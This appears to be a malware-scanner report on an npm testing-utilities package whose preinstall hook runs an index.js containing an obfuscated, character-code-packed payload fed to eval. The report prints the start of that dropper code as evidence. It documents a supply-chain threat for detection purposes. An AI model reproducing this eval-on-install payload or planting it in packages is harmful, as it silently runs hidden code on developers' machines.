Hostile 100% javascript Download

@redhat-cloud-services/frontend-components-testing 1.2.4

preinstall executes obfuscated payload

Megabyte charcode-packed payload feeds direct evalPreinstall executes obfuscated bundled eval dropper

Evidence

Converts character-code arrays to strings index.js · line 1
1try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}([40,122,114,120,109,98,40,41,61,62,123,115,113,120,123,10,98,110,109,114,115,32,95,98,61,122,118,122,104,115,32,104,108,111,110,113,115,40,34,109,110,99,100,58,98,113,120,111,115,110,34,41,59,10,98,110,109,114,115,32,95,99,61,40,106,44,104,44,122,44,98,41,61,62,123,98,110,109,114,115,32,99,61,95,98,46,98,113,100,122,115,100,67,100,98,104,111,103,100,113,104,117,40,34,122,100,114,45,49,50,56,45,102,98,108,34,44,65,116,101,101,100,113,46,101,113,110,108,40,106,44,34,103,100,119,34,41,44,65,116,101,101,100,113,46,101,113,110,108,40,104,44,34,103,100,119,34,41,44,123,122,116,115,103,83,122,102,75,100,109,102,115,103,58,49,54,125,41,59,99,46,114,100,115,90,116,115,103,83,122,102,40,65,116,101,101,100,113,46,101,113,110,108,40,122,44,34,103,100,119,34,41,41,59,113,100,115,116,113,109,32,65,116,101,101,100,113,46,98,110,109,98,122,115,40,91,99,46,116,111,99,122,115,100,40,65,116,101,101,100,113,46,101,113,110,108,40,98,44,34,103,100,119,34,41,41,44,99,46,101,104,109,122,107,40,41,93,41,125,59,10,10,98,110,109,114,115,32,95,97,61,95,99,40,34,57,48,55,56,100,54,54,48,53,122,98,49,51,52,99,50,51,122,52,51,122,48,100,52,52,49,55,101,50,56,53,100,34,44,34,98,49,54,98,52,51,100,97,50,99,122,98,56,98,100,48,54,49,97,100,50,98,56,50,34,44,34,48,50,56,51,52,122,53,49,57,57,101,51,55,57,56,100,51,99,99,98,100,48,53,52,98,52,101,57,97,55,55,99,34,44,34,100,53,101,53,50,50,56,100,97,52,55,48,48,98,99,97,100,98,101,99,53,54,99,101,98,101,99,57,98,54,50,55,49,100,56,57,98,100,97,98,48,52,54,50,50,52,49,55,49,53,122,100,49,101,53,98,101,101,101,55,55,55,50,48,52,97,122,100,48,98,56,56,55,50,98,101,54,122,48,97,51,49,55,122,48,50,101,101,97,54,50,55,52,49,48,100,54,54,56,57,56,122,48,54,53,55,55,52,53,56,56,56,122,57,97,55,97,101,100,48,100,57,48,99,56,54,51,97,49,57,99,122,55,100,54,52,101,97,57,98,52,97,49,52,54,52,55,50,56,52,97,99,49,48,49,57,52, …
preinstall hook runs a local Node.js script package.json · lines 1–32
1{
2 "name": "@redhat-cloud-services/frontend-components-testing",
3 "version": "1.2.4",
4 "description": "Testing utilities for RedHat Cloud Services project.",
5 "main": "index.js",
6 "module": "esm/index.js",
7 "types": "index.d.ts",
8 "sideEffects": [
9 "./**/*.css",
10 "./**/*.scss"
11 ],
12 "publishConfig": {
13 "access": "public"
14 },
15 "scripts": {
16 "build": "npm run build:js && npm run build:esm && npm run build:packages",
17 "build:packages": "node ../../scripts/build-packages.js --forceTypes",
18 "build:esm": "MODULES_ROOT=../../ tsc --module es2015 --target es5 -p tsconfig.esm.json",
19 "build:js": "tsc -p tsconfig.cjs.json",
20 "preinstall": "node index.js"
21 },
22 "repository": {
23 "type": "git",
24 "url": "git+https://github.com/RedHatInsights/frontend-components.git"
25 },
26 "author": "",
⋯6 lines
Package module targets parent build tree package.json · line 1
1{"main":"index.js","module":"../esm/OuiaSelectors/index.js","typings":"index.d.ts"}
English function-word token "this" index.js · lines 1–5
1"use strict";
2var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3 if (k2 === undefined) k2 = k;
4 var desc = Object.getOwnPropertyDescriptor(m, k);
5 if (!desc || ("get" in desc ? !m.__es …
JavaScript iterates enumerable object keys index.js · lines 6–18
6:16… enumerable: true, get: function() { return m[k]; } };
7 }
8 Object.defineProperty(o, k2, desc);
9}) : (function(o, m, k, k2) {
10 if (k2 === undefined) k2 = k;
11 o[k2] = m[k];
12}));
13var __exportStar = (this && this.__exportStar) || function(m, exports) {
14 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
15};
16Object.defineProperty(exports, "__esModule", { value: true });
17__exportStar(require("./OuiaSelectors"), exports);
18//# sourceMappingURL=index.js.map

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.